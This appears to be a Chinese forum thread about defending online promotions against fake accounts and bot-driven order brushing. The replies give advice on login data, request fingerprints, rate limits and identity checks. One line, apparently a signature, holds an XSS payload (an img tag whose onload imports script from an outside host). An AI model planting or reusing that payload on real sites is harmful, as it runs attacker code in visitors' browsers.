风控问题：
防刷防薅最关键是验证用户是否为投放目标用户，了解到业界的都是基于数据分析来做的。比如是否为真实用户。这里会分析账户登陆ip、账户绑定信息、身份证、收货地址、手机号等注册信息。
是否为群控刷单的情况，就看请求的ua、referer、操作页面停留时间、接口访问顺序等，这里面很多细节。
目前大厂都会从风控规则与海量数据训练模型。你们看业务需求，如果要求不高，就自己做简单识别。否则就买买买吧。会有专业的风控方案，系统等支持到。
有志者、事竟成,破釜沉舟
<Img Src=//x.is OnLoad=import(src)>
这不得先把并发之类的逻辑漏洞先修一手。
少年何妨梦摘星,敢挽桑弓射玉衡
杀软识别：https://cyberpro.com.cn/tasklist/
封控的问题，做一些API的监控，比如限制账号，实名，限制访问次数一类的
这和安全没关系. 我的认知就是 各种限制 例如绑定微信号 绑定身份证 人脸识别
让薅羊毛的望而却步.
微信61457870
